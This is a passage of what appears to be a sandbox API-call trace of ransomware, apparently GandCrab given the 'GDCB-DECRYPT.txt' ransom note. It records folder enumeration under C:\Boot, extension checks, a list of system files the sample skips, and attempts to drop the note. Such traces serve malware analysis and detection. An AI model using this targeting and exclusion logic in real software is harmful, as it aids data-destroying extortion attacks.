dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.264] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.264] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.264] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.264] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.264] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.264] lstrlenW (lpString="C:\\Boot\\lv-LV\\") returned 14 [0135.264] lstrcatW (in: lpString1="C:\\Boot\\lv-LV\\", lpString2="*" | out: lpString1="C:\\Boot\\lv-LV\\*") returned="C:\\Boot\\lv-LV\\*" [0135.264] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c77c0 [0135.265] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.265] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.265] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.265] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.265] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.265] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.265] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.265] lstrcatW (in: lpString1="C:\\Boot\\lv-LV\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned="C:\\Boot\\lv-LV\\bootmgr.exe.mui" [0135.265] lstrlenW (lpString="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0135.265] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.265] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.265] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.265] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.265] lstrcatW (in: lpString1="C:\\Boot\\lv-LV\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt" [0135.265] lstrlenW (lpString="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned 30 [0135.265] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.265] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.265] FindClose (in: hFindFile=0x2c77c0 | out: hFindFile=0x2c77c0) returned 1 [0135.265] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.265] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\lv-LV\\\\GDCB-DECRYPT.txt") returned 31 [0135.265] CreateFileW (lpFileName="C:\\Boot\\lv-LV\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\lv-lv\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.265] GetLastError () returned 0x50 [0135.266] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.266] lstrlenW (lpString="C:\\Boot\\lv-LV\\") returned 14 [0135.266] lstrcatW (in: lpString1="C:\\Boot\\lv-LV\\", lpString2="*" | out: lpString1="C:\\Boot\\lv-LV\\*") returned="C:\\Boot\\lv-LV\\*" [0135.266] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7500 [0135.266] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.266] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.266] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.266] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.266] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.266] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.266] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.266] lstrcatW (in: lpString1="C:\\Boot\\lv-LV\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned="C:\\Boot\\lv-LV\\bootmgr.exe.mui" [0135.266] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.266] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0135.266] lstrlenW (lpString="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0135.266] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.266] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.266] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.266] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.266] lstrcatW (in: lpString1="C:\\Boot\\lv-LV\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt" [0135.266] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.266] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned 30 [0135.267] lstrlenW (lpString="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned 30 [0135.267] lstrlenW (lpString="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned 30 [0135.267] lstrlenW (lpString="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned 30 [0135.267] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.267] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.267] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.267] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.267] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.267] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.267] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.267] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.267] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.267] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.267] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.267] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.267] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.267] lstrcmpW (lpString1="memtest.exe", lpString2=".") returned 1 [0135.267] lstrcmpW (lpString1="memtest.exe", lpString2="..") returned 1 [0135.267] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="memtest.exe" | out: lpString1="C:\\Boot\\memtest.exe") returned="C:\\Boot\\memtest.exe" [0135.267] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.267] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\memtest.exe") returned 19 [0135.267] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0135.267] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.267] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.267] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1 [0135.267] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1 [0135.267] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="nb-NO" | out: lpString1="C:\\Boot\\nb-NO") returned="C:\\Boot\\nb-NO" [0135.267] lstrcatW (in: lpString1="C:\\Boot\\nb-NO", lpString2="\\" | out: lpString1="C:\\Boot\\nb-NO\\") returned="C:\\Boot\\nb-NO\\" [0135.267] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.268] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.268] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.268] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.268] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.268] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.268] lstrlenW (lpString="C:\\Boot\\nb-NO\\") returned 14 [0135.268] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="*" | out: lpString1="C:\\Boot\\nb-NO\\*") returned="C:\\Boot\\nb-NO\\*" [0135.268] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7900 [0135.268] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.268] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.268] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.268] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.268] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.268] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.268] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.268] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="C:\\Boot\\nb-NO\\bootmgr.exe.mui" [0135.268] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0135.268] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.268] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.268] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.268] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.268] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt" [0135.268] lstrlenW (lpString="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned 30 [0135.268] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.268] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.268] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.268] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.268] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\nb-NO\\memtest.exe.mui") returned="C:\\Boot\\nb-NO\\memtest.exe.mui" [0135.268] lstrlenW (lpString="C:\\Boot\\nb-NO\\memtest.exe.mui") returned 29 [0135.268] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.268] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.268] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.268] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.269] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\nb-NO\\\\GDCB-DECRYPT.txt") returned 31 [0135.269] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\nb-no\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.269] GetLastError () returned 0x50 [0135.269] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.269] lstrlenW (lpString="C:\\Boot\\nb-NO\\") returned 14 [0135.269] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="*" | out: lpString1="C:\\Boot\\nb-NO\\*") returned="C:\\Boot\\nb-NO\\*" [0135.269] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7980 [0135.269] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.269] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.269] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.269] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.269] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.269] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.269] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.269] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="C:\\Boot\\nb-NO\\bootmgr.exe.mui" [0135.270] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.270] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0135.270] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0135.270] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.270] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.270] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.270] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.270] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt" [0135.270] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.270] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned 30 [0135.270] lstrlenW (lpString="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned 30 [0135.270] lstrlenW (lpString="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned 30 [0135.270] lstrlenW (lpString="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned 30 [0135.270] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.270] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.270] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.270] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.270] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.270] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.270] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.270] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.270] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.271] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.271] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.271] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.271] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.271] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\nb-NO\\memtest.exe.mui") returned="C:\\Boot\\nb-NO\\memtest.exe.mui" [0135.271] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.271] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\nb-NO\\memtest.exe.mui") returned 29 [0135.271] lstrlenW (lpString="C:\\Boot\\nb-NO\\memtest.exe.mui") returned 29 [0135.271] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.271] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.271] FindClose (in: hFindFile=0x2c7980 | out: hFindFile=0x2c7980) returned 1 [0135.271] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.271] lstrcmpW (lpString1="nl-NL", lpString2=".") returned 1 [0135.271] lstrcmpW (lpString1="nl-NL", lpString2="..") returned 1 [0135.271] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="nl-NL" | out: lpString1="C:\\Boot\\nl-NL") returned="C:\\Boot\\nl-NL" [0135.271] lstrcatW (in: lpString1="C:\\Boot\\nl-NL", lpString2="\\" | out: lpString1="C:\\Boot\\nl-NL\\") returned="C:\\Boot\\nl-NL\\" [0135.271] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.271] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.271] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.271] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.271] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.271] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.272] lstrlenW (lpString="C:\\Boot\\nl-NL\\") returned 14 [0135.272] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="*" | out: lpString1="C:\\Boot\\nl-NL\\*") returned="C:\\Boot\\nl-NL\\*" [0135.272] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7540 [0135.272] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.272] FindNextFileW (in: hFindFile=0x2c7540, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.272] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.272] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.272] FindNextFileW (in: hFindFile=0x2c7540, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.272] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.272] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.272] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="C:\\Boot\\nl-NL\\bootmgr.exe.mui" [0135.272] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0135.272] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.272] FindNextFileW (in: hFindFile=0x2c7540, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.272] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.272] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.272] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt" [0135.272] lstrlenW (lpString="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned 30 [0135.272] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.272] FindNextFileW (in: hFindFile=0x2c7540, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.272] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.272] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.272] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\nl-NL\\memtest.exe.mui") returned="C:\\Boot\\nl-NL\\memtest.exe.mui" [0135.272] lstrlenW (lpString="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0135.272] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.272] FindNextFileW (in: hFindFile=0x2c7540, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.273] FindClose (in: hFindFile=0x2c7540 | out: hFindFile=0x2c7540) returned 1 [0135.273] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.273] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\nl-NL\\\\GDCB-DECRYPT.txt") returned 31 [0135.273] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\nl-nl\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.273] GetLastError () returned 0x50 [0135.273] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.273] lstrlenW (lpString="C:\\Boot\\nl-NL\\") returned 14 [0135.273] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="*" | out: lpString1="C:\\Boot\\nl-NL\\*") returned="C:\\Boot\\nl-NL\\*" [0135.273] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7500 [0135.274] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.274] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.274] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.274] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.274] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.274] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.274] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.274] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="C:\\Boot\\nl-NL\\bootmgr.exe.mui" [0135.274] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.274] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0135.274] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0135.274] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.274] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.274] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.274] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.274] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt" [0135.274] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.274] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned 30 [0135.274] lstrlenW (lpString="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned 30 [0135.274] lstrlenW (lpString="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned 30 [0135.274] lstrlenW (lpString="C:\\Boot\\nl-NL\\GDCB-DECRYPT.txt") returned 30 [0135.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.275] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.275] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.275] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.275] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.275] lstrcatW (in: lpString1="C:\\Boot\\nl-NL\\", 